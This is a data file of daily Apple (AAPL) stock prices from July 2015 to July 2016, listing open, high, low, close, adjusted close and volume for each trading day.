-2015-07-08,124.4800033569336,124.63999938964844,122.54000091552734,122.56999969482422,113.53618621826172,60761600.0,AAPL -2015-07-09,123.8499984741211,124.05999755859375,119.22000122070312,120.06999969482422,111.22044372558594,78595000.0,AAPL -2015-07-10,121.94000244140625,123.8499984741211,121.20999908447266,123.27999877929688,114.19384765625,61354500.0,AAPL -2015-07-13,125.02999877929688,125.76000213623047,124.31999969482422,125.66000366210938,116.39845275878906,41440500.0,AAPL -2015-07-14,126.04000091552734,126.37000274658203,125.04000091552734,125.61000061035156,116.35211181640625,31768100.0,AAPL -2015-07-15,125.72000122070312,127.1500015258789,125.58000183105469,126.81999969482422,117.47294616699219,33649200.0,AAPL -2015-07-16,127.73999786376953,128.57000732421875,127.3499984741211,128.50999450683594,119.03837585449219,36222400.0,AAPL -2015-07-17,129.0800018310547,129.6199951171875,128.30999755859375,129.6199951171875,120.0665512084961,46164700.0,AAPL -2015-07-20,130.97000122070312,132.97000122070312,130.6999969482422,132.07000732421875,122.33599853515625,58900200.0,AAPL -2015-07-21,132.85000610351562,132.9199981689453,130.32000732421875,130.75,121.11328887939453,76756400.0,AAPL -2015-07-22,121.98999786376953,125.5,121.98999786376953,125.22000122070312,115.9908676147461,115450600.0,AAPL -2015-07-23,126.19999694824219,127.08999633789062,125.05999755859375,125.16000366210938,115.93529510498047,50999500.0,AAPL -2015-07-24,125.31999969482422,125.73999786376953,123.9000015258789,124.5,115.32392883300781,42162300.0,AAPL -2015-07-27,123.08999633789062,123.61000061035156,122.12000274658203,122.7699966430664,113.72144317626953,44455500.0,AAPL -2015-07-28,123.37999725341797,123.91000366210938,122.55000305175781,123.37999725341797,114.28649139404297,33618100.0,AAPL -2015-07-29,123.1500015258789,123.5,122.2699966430664,122.98999786376953,113.92522430419922,37011700.0,AAPL -2015-07-30,122.31999969482422,122.56999969482422,121.70999908447266,122.37000274658203,113.35094451904297,33628300.0,AAPL -2015-07-31,122.5999984741211,122.63999938964844,120.91000366210938,121.30000305175781,112.35978698730469,42885000.0,AAPL -2015-08-03,121.5,122.56999969482422,117.5199966430664,118.44000244140625,109.71057891845703,69976000.0,AAPL -2015-08-04,117.41999816894531,117.69999694824219,113.25,114.63999938964844,106.1906509399414,124138600.0,AAPL -2015-08-05,112.94999694824219,117.44000244140625,112.0999984741211,115.4000015258789,106.8946304321289,99312600.0,AAPL -2015-08-06,115.97000122070312,116.5,114.12000274658203,115.12999725341797,107.12724304199219,52903000.0,AAPL -2015-08-07,114.58000183105469,116.25,114.5,115.5199966430664,107.4901351928711,38670400.0,AAPL -2015-08-10,116.52999877929688,119.98999786376953,116.52999877929688,119.72000122070312,111.39820098876953,54951600.0,AAPL -2015-08-11,117.80999755859375,118.18000030517578,113.33000183105469,113.48999786376953,105.60125732421875,97082800.0,AAPL -2015-08-12,112.52999877929688,115.41999816894531,109.62999725341797,115.23999786376953,107.22959899902344,101217500.0,AAPL -2015-08-13,116.04000091552734,116.4000015258789,114.54000091552734,115.1500015258789,107.1458740234375,48535800.0,AAPL -2015-08-14,114.31999969482422,116.30999755859375,114.01000213623047,115.95999908447266,107.8995590209961,42929500.0,AAPL -2015-08-17,116.04000091552734,117.6500015258789,115.5,117.16000366210938,109.01614379882812,40884700.0,AAPL -2015-08-18,116.43000030517578,117.44000244140625,116.01000213623047,116.5,108.40201568603516,34560700.0,AAPL -2015-08-19,116.0999984741211,116.5199966430664,114.68000030517578,115.01000213623047,107.01558685302734,48286500.0,AAPL -2015-08-20,114.08000183105469,114.3499984741211,111.62999725341797,112.6500015258789,104.81965637207031,68501600.0,AAPL -2015-08-21,110.43000030517578,111.9000015258789,105.6500015258789,105.76000213623047,98.40855407714844,128275500.0,AAPL -2015-08-24,94.87000274658203,108.80000305175781,92.0,103.12000274658203,95.95209503173828,162206300.0,AAPL -2015-08-25,111.11000061035156,111.11000061035156,103.5,103.73999786376953,96.52896881103516,103601600.0,AAPL -2015-08-26,107.08999633789062,109.88999938964844,105.05000305175781,109.69000244140625,102.06539154052734,96774600.0,AAPL -2015-08-27,112.2300033569336,113.23999786376953,110.0199966430664,112.91999816894531,105.07088470458984,84616100.0,AAPL -2015-08-28,112.16999816894531,113.30999755859375,111.54000091552734,113.29000091552734,105.41515350341797,53164400.0,AAPL -2015-08-31,112.02999877929688,114.52999877929688,112.0,112.76000213623047,104.92200469970703,56229300.0,AAPL -2015-09-01,110.1500015258789,111.87999725341797,107.36000061035156,107.72000122070312,100.2323226928711,76845900.0,AAPL -2015-09-02,110.2300033569336,112.33999633789062,109.12999725341797,112.33999633789062,104.53118133544922,61888800.0,AAPL -2015-09-03,112.48999786376953,112.77999877929688,110.04000091552734,110.37000274658203,102.6981201171875,53233900.0,AAPL -2015-09-04,108.97000122070312,110.44999694824219,108.51000213623047,109.2699966430664,101.67457580566406,49996300.0,AAPL -2015-09-08,111.75,112.55999755859375,110.31999969482422,112.30999755859375,104.50326538085938,54843600.0,AAPL -2015-09-09,113.76000213623047,114.0199966430664,109.7699966430664,110.1500015258789,102.49341583251953,85010800.0,AAPL -2015-09-10,110.2699966430664,113.27999877929688,109.9000015258789,112.56999969482422,104.7452163696289,62892800.0,AAPL -2015-09-11,111.79000091552734,114.20999908447266,111.76000213623047,114.20999908447266,106.27119445800781,49915500.0,AAPL -2015-09-14,116.58000183105469,116.88999938964844,114.86000061035156,115.30999755859375,107.29472351074219,58363400.0,AAPL -2015-09-15,115.93000030517578,116.52999877929688,114.41999816894531,116.27999877929688,108.19731140136719,43341200.0,AAPL -2015-09-16,116.25,116.54000091552734,115.44000244140625,116.41000366210938,108.31829071044922,37173500.0,AAPL -2015-09-17,115.66000366210938,116.48999786376953,113.72000122070312,113.91999816894531,106.00135040283203,64112600.0,AAPL -2015-09-18,112.20999908447266,114.30000305175781,111.87000274658203,113.44999694824219,105.56404113769531,74285300.0,AAPL -2015-09-21,113.66999816894531,115.37000274658203,113.66000366210938,115.20999908447266,107.20169830322266,50222000.0,AAPL -2015-09-22,113.37999725341797,114.18000030517578,112.5199966430664,113.4000015258789,105.51750946044922,50346200.0,AAPL -2015-09-23,113.62999725341797,114.72000122070312,113.30000305175781,114.31999969482422,106.3735580444336,35756700.0,AAPL -2015-09-24,113.25,115.5,112.37000274658203,115.0,107.00629425048828,50219500.0,AAPL -2015-09-25,116.44000244140625,116.69000244140625,114.0199966430664,114.70999908447266,106.73645782470703,56151900.0,AAPL -2015-09-28,113.8499984741211,114.56999969482422,112.44000244140625,112.44000244140625,104.62423706054688,52109000.0,AAPL -2015-09-29,112.83000183105469,113.51000213623047,107.86000061035156,109.05999755859375,101.47917938232422,73365400.0,AAPL -2015-09-30,110.16999816894531,111.54000091552734,108.7300033569336,110.30000305175781,102.63299560546875,66473000.0,AAPL -2015-10-01,109.06999969482422,109.62000274658203,107.30999755859375,109.58000183105469,101.9630355834961,63929100.0,AAPL -2015-10-02,108.01000213623047,111.01000213623047,107.55000305175781,110.37999725341797,102.70742797851562,58019800.0,AAPL -2015-10-05,109.87999725341797,111.37000274658203,109.06999969482422,110.77999877929688,103.07963562011719,52064700.0,AAPL -2015-10-06,110.62999725341797,111.73999786376953,109.7699966430664,111.30999755859375,103.5727767944336,48196800.0,AAPL -2015-10-07,111.73999786376953,111.7699966430664,109.41000366210938,110.77999877929688,103.07963562011719,46765600.0,AAPL -2015-10-08,110.19000244140625,110.19000244140625,108.20999908447266,109.5,101.88858795166016,61979600.0,AAPL -2015-10-09,110.0,112.27999877929688,109.48999786376953,112.12000274658203,104.32648468017578,52766100.0,AAPL -2015-10-12,112.7300033569336,112.75,111.44000244140625,111.5999984741211,103.84263610839844,30467200.0,AAPL -2015-10-13,110.81999969482422,112.44999694824219,110.68000030517578,111.79000091552734,104.0194091796875,33049300.0,AAPL -2015-10-14,111.29000091552734,111.5199966430664,109.55999755859375,110.20999908447266,102.54925537109375,44462400.0,AAPL -2015-10-15,110.93000030517578,112.0999984741211,110.48999786376953,111.86000061035156,104.08456420898438,37673500.0,AAPL -2015-10-16,111.77999877929688,112.0,110.52999877929688,111.04000091552734,103.32156372070312,39232600.0,AAPL -2015-10-19,110.80000305175781,111.75,110.11000061035156,111.7300033569336,103.96359252929688,29759200.0,AAPL -2015-10-20,111.33999633789062,114.16999816894531,110.81999969482422,113.7699966430664,105.86180114746094,48967800.0,AAPL -2015-10-21,114.0,115.58000183105469,113.69999694824219,113.76000213623047,105.85249328613281,41795200.0,AAPL -2015-10-22,114.33000183105469,115.5,114.0999984741211,115.5,107.4715576171875,41654100.0,AAPL -2015-10-23,116.69999694824219,119.2300033569336,116.33000183105469,119.08000183105469,110.80267333984375,59366900.0,AAPL -2015-10-26,118.08000183105469,118.12999725341797,114.91999816894531,115.27999877929688,107.26683044433594,66333800.0,AAPL -2015-10-27,115.4000015258789,116.54000091552734,113.98999786376953,114.55000305175781,106.58756256103516,69884400.0,AAPL -2015-10-28,116.93000030517578,119.30000305175781,116.05999755859375,119.2699966430664,110.9794692993164,85551400.0,AAPL -2015-10-29,118.69999694824219,120.69000244140625,118.2699966430664,120.52999877929688,112.15190124511719,51227300.0,AAPL -2015-10-30,120.98999786376953,121.22000122070312,119.44999694824219,119.5,111.1935043334961,49365300.0,AAPL -2015-11-02,120.80000305175781,121.36000061035156,119.61000061035156,121.18000030517578,112.7567138671875,32203300.0,AAPL -2015-11-03,120.79000091552734,123.48999786376953,120.69999694824219,122.56999969482422,114.05009460449219,45519000.0,AAPL -2015-11-04,123.12999725341797,123.81999969482422,121.62000274658203,122.0,113.51971435546875,44886100.0,AAPL -2015-11-05,121.8499984741211,122.69000244140625,120.18000030517578,120.91999816894531,112.99640655517578,39552700.0,AAPL -2015-11-06,121.11000061035156,121.80999755859375,120.62000274658203,121.05999755859375,113.12722778320312,33042300.0,AAPL -2015-11-09,120.95999908447266,121.80999755859375,120.05000305175781,120.56999969482422,112.66936492919922,33871400.0,AAPL -2015-11-10,116.9000015258789,118.06999969482422,116.05999755859375,116.7699966430664,109.11833953857422,59127900.0,AAPL -2015-11-11,116.37000274658203,117.41999816894531,115.20999908447266,116.11000061035156,108.50160217285156,45218000.0,AAPL -2015-11-12,116.26000213623047,116.81999969482422,115.6500015258789,115.72000122070312,108.13713836669922,32525600.0,AAPL -2015-11-13,115.19999694824219,115.56999969482422,112.2699966430664,112.33999633789062,104.97863006591797,45812400.0,AAPL -2015-11-16,111.37999725341797,114.23999786376953,111.0,114.18000030517578,106.69807434082031,38106700.0,AAPL -2015-11-17,114.91999816894531,115.05000305175781,113.31999969482422,113.69000244140625,106.24017333984375,27616900.0,AAPL -2015-11-18,115.76000213623047,117.48999786376953,115.5,117.29000091552734,109.60426330566406,46674700.0,AAPL -2015-11-19,117.63999938964844,119.75,116.76000213623047,118.77999877929688,110.99663543701172,43295800.0,AAPL -2015-11-20,119.19999694824219,119.91999816894531,118.8499984741211,119.30000305175781,111.48255920410156,34287100.0,AAPL -2015-11-23,119.2699966430664,119.7300033569336,117.33999633789062,117.75,110.03414154052734,32482500.0,AAPL -2015-11-24,117.33000183105469,119.3499984741211,117.12000274658203,118.87999725341797,111.090087890625,42803200.0,AAPL -2015-11-25,119.20999908447266,119.2300033569336,117.91999816894531,118.02999877929688,110.29576110839844,21388300.0,AAPL -2015-11-27,118.29000091552734,118.41000366210938,117.5999984741211,117.80999755859375,110.0902099609375,13046400.0,AAPL -2015-11-30,117.98999786376953,119.41000366210938,117.75,118.30000305175781,110.54810333251953,39180300.0,AAPL -2015-12-01,118.75,118.80999755859375,116.86000061035156,117.33999633789062,109.65099334716797,34852400.0,AAPL -2015-12-02,117.33999633789062,118.11000061035156,116.08000183105469,116.27999877929688,108.66045379638672,33386600.0,AAPL -2015-12-03,116.55000305175781,116.79000091552734,114.22000122070312,115.19999694824219,107.65122985839844,41569500.0,AAPL -2015-12-04,115.29000091552734,119.25,115.11000061035156,119.02999877929688,111.23026275634766,57777000.0,AAPL -2015-12-07,118.9800033569336,119.86000061035156,117.80999755859375,118.27999877929688,110.52941131591797,32084200.0,AAPL -2015-12-08,117.5199966430664,118.5999984741211,116.86000061035156,118.2300033569336,110.48265838623047,34309500.0,AAPL -2015-12-09,117.63999938964844,117.69000244140625,115.08000183105469,115.62000274658203,108.043701171875,46361400.0,AAPL -2015-12-10,116.04000091552734,116.94000244140625,115.51000213623047,116.16999816894531,108.55766296386719,29212700.0,AAPL -2015-12-11,115.19000244140625,115.38999938964844,112.8499984741211,113.18000030517578,105.76358795166016,46886200.0,AAPL -2015-12-14,112.18000030517578,112.68000030517578,109.79000091552734,112.4800033569336,105.10945129394531,64318700.0,AAPL -2015-12-15,111.94000244140625,112.80000305175781,110.3499984741211,110.48999786376953,103.24987030029297,53323100.0,AAPL -2015-12-16,111.06999969482422,111.98999786376953,108.80000305175781,111.33999633789062,104.04415130615234,56238500.0,AAPL -2015-12-17,112.0199966430664,112.25,108.9800033569336,108.9800033569336,101.83881378173828,44772800.0,AAPL -2015-12-18,108.91000366210938,109.5199966430664,105.80999755859375,106.02999877929688,99.08211517333984,96453300.0,AAPL -2015-12-21,107.27999877929688,107.37000274658203,105.56999969482422,107.33000183105469,100.29692077636719,47590600.0,AAPL -2015-12-22,107.4000015258789,107.72000122070312,106.44999694824219,107.2300033569336,100.2034912109375,32789400.0,AAPL -2015-12-23,107.2699966430664,108.8499984741211,107.19999694824219,108.61000061035156,101.49304962158203,32657400.0,AAPL -2015-12-24,109.0,109.0,107.94999694824219,108.02999877929688,100.95105743408203,13570400.0,AAPL -2015-12-28,107.58999633789062,107.69000244140625,106.18000030517578,106.81999969482422,99.82035827636719,26704200.0,AAPL -2015-12-29,106.95999908447266,109.43000030517578,106.86000061035156,108.73999786376953,101.6145248413086,30931200.0,AAPL -2015-12-30,108.58000183105469,108.69999694824219,107.18000030517578,107.31999969482422,100.2875747680664,25213800.0,AAPL -2015-12-31,107.01000213623047,107.02999877929688,104.81999969482422,105.26000213623047,98.3625717163086,40912300.0,AAPL -2016-01-04,102.61000061035156,105.37000274658203,102.0,105.3499984741211,98.4466552734375,67649400.0,AAPL -2016-01-05,105.75,105.8499984741211,102.41000366210938,102.70999908447266,95.97967529296875,55791000.0,AAPL -2016-01-06,100.55999755859375,102.37000274658203,99.87000274658203,100.69999694824219,94.10138702392578,68457400.0,AAPL -2016-01-07,98.68000030517578,100.12999725341797,96.43000030517578,96.44999694824219,90.12986755371094,81094400.0,AAPL -2016-01-08,98.55000305175781,99.11000061035156,96.76000213623047,96.95999908447266,90.60643768310547,70798000.0,AAPL -2016-01-11,98.97000122070312,99.05999755859375,97.33999633789062,98.52999877929688,92.07356262207031,49739400.0,AAPL -2016-01-12,100.55000305175781,100.69000244140625,98.83999633789062,99.95999908447266,93.40987396240234,49154200.0,AAPL -2016-01-13,100.31999969482422,101.19000244140625,97.30000305175781,97.38999938964844,91.00827026367188,62439600.0,AAPL -2016-01-14,97.95999908447266,100.4800033569336,95.73999786376953,99.5199966430664,92.99869537353516,63170100.0,AAPL -2016-01-15,96.19999694824219,97.70999908447266,95.36000061035156,97.12999725341797,90.76530456542969,79833900.0,AAPL -2016-01-19,98.41000366210938,98.6500015258789,95.5,96.66000366210938,90.32610321044922,53087700.0,AAPL -2016-01-20,95.0999984741211,98.19000244140625,93.41999816894531,96.79000091552734,90.44757843017578,72334400.0,AAPL -2016-01-21,97.05999755859375,97.87999725341797,94.94000244140625,96.30000305175781,89.98970031738281,52161500.0,AAPL -2016-01-22,98.62999725341797,101.45999908447266,98.37000274658203,101.41999816894531,94.77420043945312,65800500.0,AAPL -2016-01-25,101.5199966430664,101.52999877929688,99.20999908447266,99.44000244140625,92.92395782470703,51794500.0,AAPL -2016-01-26,99.93000030517578,100.87999725341797,98.06999969482422,99.98999786376953,93.4378890991211,75077000.0,AAPL -2016-01-27,96.04000091552734,96.62999725341797,93.33999633789062,93.41999816894531,87.29841613769531,133369700.0,AAPL -2016-01-28,93.79000091552734,94.5199966430664,92.38999938964844,94.08999633789062,87.92449951171875,55678800.0,AAPL -2016-01-29,94.79000091552734,97.33999633789062,94.3499984741211,97.33999633789062,90.96153259277344,64416500.0,AAPL -2016-02-01,96.47000122070312,96.70999908447266,95.4000015258789,96.43000030517578,90.11116790771484,40943500.0,AAPL -2016-02-02,95.41999816894531,96.04000091552734,94.27999877929688,94.4800033569336,88.2889633178711,37357200.0,AAPL -2016-02-03,95.0,96.83999633789062,94.08000183105469,96.3499984741211,90.03642272949219,45964300.0,AAPL -2016-02-04,95.86000061035156,97.33000183105469,95.19000244140625,96.5999984741211,90.7598648071289,46471700.0,AAPL -2016-02-05,96.5199966430664,96.91999816894531,93.69000244140625,94.0199966430664,88.3358383178711,46418100.0,AAPL -2016-02-08,93.12999725341797,95.69999694824219,93.04000091552734,95.01000213623047,89.2660140991211,54021400.0,AAPL -2016-02-09,94.29000091552734,95.94000244140625,93.93000030517578,94.98999786376953,89.24722290039062,44331200.0,AAPL -2016-02-10,95.91999816894531,96.3499984741211,94.0999984741211,94.2699966430664,88.57073211669922,42343600.0,AAPL -2016-02-11,93.79000091552734,94.72000122070312,92.58999633789062,93.69999694824219,88.0351791381836,50074700.0,AAPL -2016-02-12,94.19000244140625,94.5,93.01000213623047,93.98999786376953,88.30765533447266,40351400.0,AAPL -2016-02-16,95.0199966430664,96.8499984741211,94.61000061035156,96.63999938964844,90.79743957519531,49057900.0,AAPL -2016-02-17,96.66999816894531,98.20999908447266,96.1500015258789,98.12000274658203,92.1879653930664,44863200.0,AAPL -2016-02-18,98.83999633789062,98.88999938964844,96.08999633789062,96.26000213623047,90.4404296875,39021000.0,AAPL -2016-02-19,96.0,96.76000213623047,95.80000305175781,96.04000091552734,90.23371887207031,35374200.0,AAPL -2016-02-22,96.30999755859375,96.9000015258789,95.91999816894531,96.87999725341797,91.02293395996094,34280800.0,AAPL -2016-02-23,96.4000015258789,96.5,94.55000305175781,94.69000244140625,88.96532440185547,31942600.0,AAPL -2016-02-24,93.9800033569336,96.37999725341797,93.31999969482422,96.0999984741211,90.29008483886719,36255700.0,AAPL -2016-02-25,96.05000305175781,96.76000213623047,95.25,96.76000213623047,90.91020202636719,27582700.0,AAPL -2016-02-26,97.19999694824219,98.0199966430664,96.58000183105469,96.91000366210938,91.05113220214844,28991100.0,AAPL -2016-02-29,96.86000061035156,98.2300033569336,96.6500015258789,96.69000244140625,90.84444427490234,35216300.0,AAPL -2016-03-01,97.6500015258789,100.7699966430664,97.41999816894531,100.52999877929688,94.4522705078125,50407100.0,AAPL -2016-03-02,100.51000213623047,100.88999938964844,99.63999938964844,100.75,94.65897369384766,33169600.0,AAPL -2016-03-03,100.58000183105469,101.70999908447266,100.44999694824219,101.5,95.36363983154297,36955700.0,AAPL -2016-03-04,102.37000274658203,103.75,101.37000274658203,103.01000213623047,96.78234100341797,46055100.0,AAPL -2016-03-07,102.38999938964844,102.83000183105469,100.95999908447266,101.87000274658203,95.71125793457031,35828900.0,AAPL -2016-03-08,100.77999877929688,101.76000213623047,100.4000015258789,101.02999877929688,94.92205047607422,31561900.0,AAPL -2016-03-09,101.30999755859375,101.58000183105469,100.2699966430664,101.12000274658203,95.0066146850586,27201700.0,AAPL -2016-03-10,101.41000366210938,102.23999786376953,100.1500015258789,101.16999816894531,95.0535888671875,33513600.0,AAPL -2016-03-11,102.23999786376953,102.27999877929688,101.5,102.26000213623047,96.07766723632812,27408200.0,AAPL -2016-03-14,101.91000366210938,102.91000366210938,101.77999877929688,102.5199966430664,96.32196044921875,25076100.0,AAPL -2016-03-15,103.95999908447266,105.18000030517578,103.8499984741211,104.58000183105469,98.25743103027344,40067700.0,AAPL -2016-03-16,104.61000061035156,106.30999755859375,104.58999633789062,105.97000122070312,99.56339263916016,38303500.0,AAPL -2016-03-17,105.5199966430664,106.47000122070312,104.95999908447266,105.80000305175781,99.40367126464844,34420700.0,AAPL -2016-03-18,106.33999633789062,106.5,105.19000244140625,105.91999816894531,99.51640319824219,44205200.0,AAPL -2016-03-21,105.93000030517578,107.6500015258789,105.13999938964844,105.91000366210938,99.50701904296875,35502700.0,AAPL -2016-03-22,105.25,107.29000091552734,105.20999908447266,106.72000122070312,100.26805114746094,32444400.0,AAPL -2016-03-23,106.4800033569336,107.06999969482422,105.9000015258789,106.12999725341797,99.71369171142578,25703500.0,AAPL -2016-03-24,105.47000122070312,106.25,104.88999938964844,105.66999816894531,99.28153228759766,26133000.0,AAPL -2016-03-28,106.0,106.19000244140625,105.05999755859375,105.19000244140625,98.8305435180664,19411400.0,AAPL -2016-03-29,104.88999938964844,107.79000091552734,104.87999725341797,107.68000030517578,101.17000579833984,31190100.0,AAPL -2016-03-30,108.6500015258789,110.41999816894531,108.5999984741211,109.55999755859375,102.93635559082031,45601100.0,AAPL -2016-03-31,109.72000122070312,109.9000015258789,108.87999725341797,108.98999786376953,102.40079498291016,25888400.0,AAPL -2016-04-01,108.77999877929688,110.0,108.19999694824219,109.98999786376953,103.34034729003906,25874000.0,AAPL -2016-04-04,110.41999816894531,112.19000244140625,110.2699966430664,111.12000274658203,104.40203094482422,37356200.0,AAPL -2016-04-05,109.51000213623047,110.7300033569336,109.41999816894531,109.80999755859375,103.17124938964844,26578700.0,AAPL -2016-04-06,110.2300033569336,110.9800033569336,109.19999694824219,110.95999908447266,104.25170135498047,26404100.0,AAPL -2016-04-07,109.94999694824219,110.41999816894531,108.12000274658203,108.54000091552734,101.9780044555664,31801900.0,AAPL -2016-04-08,108.91000366210938,109.7699966430664,108.16999816894531,108.66000366210938,102.09075164794922,23581700.0,AAPL -2016-04-11,108.97000122070312,110.61000061035156,108.83000183105469,109.0199966430664,102.42898559570312,29407500.0,AAPL -2016-04-12,109.33999633789062,110.5,108.66000366210938,110.44000244140625,103.76313781738281,27232300.0,AAPL -2016-04-13,110.80000305175781,112.33999633789062,110.80000305175781,112.04000091552734,105.26641845703125,33257300.0,AAPL -2016-04-14,111.62000274658203,112.38999938964844,111.33000183105469,112.0999984741211,105.32279205322266,25473900.0,AAPL -2016-04-15,112.11000061035156,112.30000305175781,109.7300033569336,109.8499984741211,103.20881652832031,46939000.0,AAPL -2016-04-18,108.88999938964844,108.94999694824219,106.94000244140625,107.4800033569336,100.98210906982422,60821500.0,AAPL -2016-04-19,107.87999725341797,108.0,106.2300033569336,106.91000366210938,100.4465560913086,32384900.0,AAPL -2016-04-20,106.63999938964844,108.08999633789062,106.05999755859375,107.12999725341797,100.65325164794922,30611000.0,AAPL -2016-04-21,106.93000030517578,106.93000030517578,105.5199966430664,105.97000122070312,99.56339263916016,31552500.0,AAPL -2016-04-22,105.01000213623047,106.4800033569336,104.62000274658203,105.68000030517578,99.2909164428711,33683100.0,AAPL -2016-04-25,105.0,105.6500015258789,104.51000213623047,105.08000183105469,98.7271957397461,28031600.0,AAPL -2016-04-26,103.91000366210938,105.30000305175781,103.91000366210938,104.3499984741211,98.04133605957031,56016200.0,AAPL -2016-04-27,96.0,98.70999908447266,95.68000030517578,97.81999969482422,91.90611267089844,114602100.0,AAPL -2016-04-28,97.61000061035156,97.87999725341797,94.25,94.83000183105469,89.09687805175781,82242700.0,AAPL -2016-04-29,93.98999786376953,94.72000122070312,92.51000213623047,93.73999786376953,88.07276153564453,68531500.0,AAPL -2016-05-02,93.97000122070312,94.08000183105469,92.4000015258789,93.63999938964844,87.97880554199219,48160100.0,AAPL -2016-05-03,94.19999694824219,95.73999786376953,93.68000030517578,95.18000030517578,89.42570495605469,56831300.0,AAPL -2016-05-04,95.19999694824219,95.9000015258789,93.81999969482422,94.19000244140625,88.49556732177734,41025500.0,AAPL -2016-05-05,94.0,94.06999969482422,92.68000030517578,93.23999786376953,88.13636779785156,35890500.0,AAPL -2016-05-06,93.37000274658203,93.44999694824219,91.8499984741211,92.72000122070312,87.64485168457031,43699900.0,AAPL -2016-05-09,93.0,93.7699966430664,92.58999633789062,92.79000091552734,87.71100616455078,32936400.0,AAPL -2016-05-10,93.33000183105469,93.56999969482422,92.11000061035156,93.41999816894531,88.30651092529297,33686800.0,AAPL -2016-05-11,93.4800033569336,93.56999969482422,92.45999908447266,92.51000213623047,87.44632720947266,28719100.0,AAPL -2016-05-12,92.72000122070312,92.77999877929688,89.47000122070312,90.33999633789062,85.39509582519531,76314700.0,AAPL -2016-05-13,90.0,91.66999816894531,90.0,90.5199966430664,85.56523895263672,44392800.0,AAPL -2016-05-16,92.38999938964844,94.38999938964844,91.6500015258789,93.87999725341797,88.74134063720703,61259800.0,AAPL -2016-05-17,94.55000305175781,94.69999694824219,93.01000213623047,93.48999786376953,88.37268829345703,46916900.0,AAPL -2016-05-18,94.16000366210938,95.20999908447266,93.88999938964844,94.55999755859375,89.38410949707031,42062400.0,AAPL -2016-05-19,94.63999938964844,94.63999938964844,93.56999969482422,94.19999694824219,89.04381561279297,30442100.0,AAPL -2016-05-20,94.63999938964844,95.43000030517578,94.5199966430664,95.22000122070312,90.00799560546875,32026000.0,AAPL -2016-05-23,95.87000274658203,97.19000244140625,95.66999816894531,96.43000030517578,91.15176391601562,38018600.0,AAPL -2016-05-24,97.22000122070312,98.08999633789062,96.83999633789062,97.9000015258789,92.54129791259766,35140200.0,AAPL -2016-05-25,98.66999816894531,99.73999786376953,98.11000061035156,99.62000274658203,94.16714477539062,38168800.0,AAPL -2016-05-26,99.68000030517578,100.7300033569336,98.63999938964844,100.41000366210938,94.91390991210938,56331200.0,AAPL -2016-05-27,99.44000244140625,100.47000122070312,99.25,100.3499984741211,94.85718536376953,36341200.0,AAPL -2016-05-31,99.5999984741211,100.4000015258789,98.81999969482422,99.86000061035156,94.3940200805664,42307200.0,AAPL -2016-06-01,99.0199966430664,99.54000091552734,98.33000183105469,98.45999908447266,93.07063293457031,29173300.0,AAPL -2016-06-02,97.5999984741211,97.83999633789062,96.62999725341797,97.72000122070312,92.37115478515625,40191600.0,AAPL -2016-06-03,97.79000091552734,98.2699966430664,97.44999694824219,97.91999816894531,92.56019592285156,28504900.0,AAPL -2016-06-06,97.98999786376953,101.88999938964844,97.55000305175781,98.62999725341797,93.23133087158203,23292500.0,AAPL -2016-06-07,99.25,99.87000274658203,98.95999908447266,99.02999877929688,93.60944366455078,22409500.0,AAPL -2016-06-08,99.0199966430664,99.55999755859375,98.68000030517578,98.94000244140625,93.52436828613281,20848100.0,AAPL -2016-06-09,98.5,99.98999786376953,98.45999908447266,99.6500015258789,94.19551086425781,26601400.0,AAPL -2016-06-10,98.52999877929688,99.3499984741211,98.4800033569336,98.83000183105469,93.42040252685547,31712900.0,AAPL -2016-06-13,98.69000244140625,99.12000274658203,97.0999984741211,97.33999633789062,92.0119400024414,38020500.0,AAPL -2016-06-14,97.31999969482422,98.4800033569336,96.75,97.45999908447266,92.1253890991211,31931900.0,AAPL -2016-06-15,97.81999969482422,98.41000366210938,97.02999877929688,97.13999938964844,91.8228988647461,29445200.0,AAPL -2016-06-16,96.44999694824219,97.75,96.06999969482422,97.55000305175781,92.21046447753906,31326800.0,AAPL -2016-06-17,96.62000274658203,96.6500015258789,95.30000305175781,95.33000183105469,90.11197662353516,61008200.0,AAPL -2016-06-20,96.0,96.56999969482422,95.02999877929688,95.0999984741211,89.89456176757812,34411900.0,AAPL -2016-06-21,94.94000244140625,96.3499984741211,94.68000030517578,95.91000366210938,90.66021728515625,35546400.0,AAPL -2016-06-22,96.25,96.88999938964844,95.3499984741211,95.55000305175781,90.3199234008789,29219100.0,AAPL -2016-06-23,95.94000244140625,96.29000091552734,95.25,96.0999984741211,90.83982849121094,32240200.0,AAPL -2016-06-24,92.91000366210938,94.66000366210938,92.6500015258789,93.4000015258789,88.2876205444336,75311400.0,AAPL -2016-06-27,93.0,93.05000305175781,91.5,92.04000091552734,87.0020523071289,45489600.0,AAPL -2016-06-28,92.9000015258789,93.66000366210938,92.13999938964844,93.58999633789062,88.46720886230469,40444900.0,AAPL -2016-06-29,93.97000122070312,94.55000305175781,93.62999725341797,94.4000015258789,89.23286437988281,36531000.0,AAPL -2016-06-30,94.44000244140625,95.7699966430664,94.30000305175781,95.5999984741211,90.36719512939453,35836400.0,AAPL -2016-07-01,95.48999786376953,96.47000122070312,95.33000183105469,95.88999938964844,90.64131927490234,26026500.0,AAPL -2016-07-05,95.38999938964844,95.4000015258789,94.45999908447266,94.98999786376953,89.79057312011719,27705200.0,AAPL -2016-07-06,94.5999984741211,95.66000366210938,94.37000274658203,95.52999877929688,90.30101776123047,30949100.0,AAPL -2016-07-07,95.69999694824219,96.5,95.62000274658203,95.94000244140625,90.68858337402344,25139600.0,AAPL -2016-07-08,96.48999786376953,96.88999938964844,96.05000305175781,96.68000030517578,91.3880844116211,28912100.0,AAPL -2016-07-11,96.75,97.6500015258789,96.7300033569336,96.9800033569336,91.6716537475586,23794900.0,AAPL -2016-07-12,97.16999816894531,97.69999694824219,97.12000274658203,97.41999816894531,92.08757781982422,24167500.0,AAPL -2016-07-13,97.41000366210938,97.66999816894531,96.83999633789062,96.87000274658203,91.56768035888672,25892200.0,AAPL -2016-07-14,97.38999938964844,98.98999786376953,97.31999969482422,98.79000091552734,93.38257598876953,38919000.0,AAPL -2016-07-15,98.91999816894531,99.30000305175781,98.5,98.77999877929688,93.37313842773438,30137000.0,AAPL -2016-07-18,98.69999694824219,100.12999725341797,98.5999984741211,99.83000183105469,94.36565399169922,36493900.0,AAPL -2016-07-19,99.55999755859375,100.0,99.33999633789062,99.87000274658203,94.40347290039062,23779900.0,AAPL -2016-07-20,100.0,100.45999908447266,99.73999786376953,99.95999908447266,94.48855590820312,26276000.0,AAPL -2016-07-21,99.83000183105469,101.0,99.12999725341797,99.43000030517578,93.98755645751953,32702000.0,AAPL -2016-07-22,99.26000213623047,99.30000305175781,98.30999755859375,98.66000366210938,93.25970458984375,28313700.0,AAPL 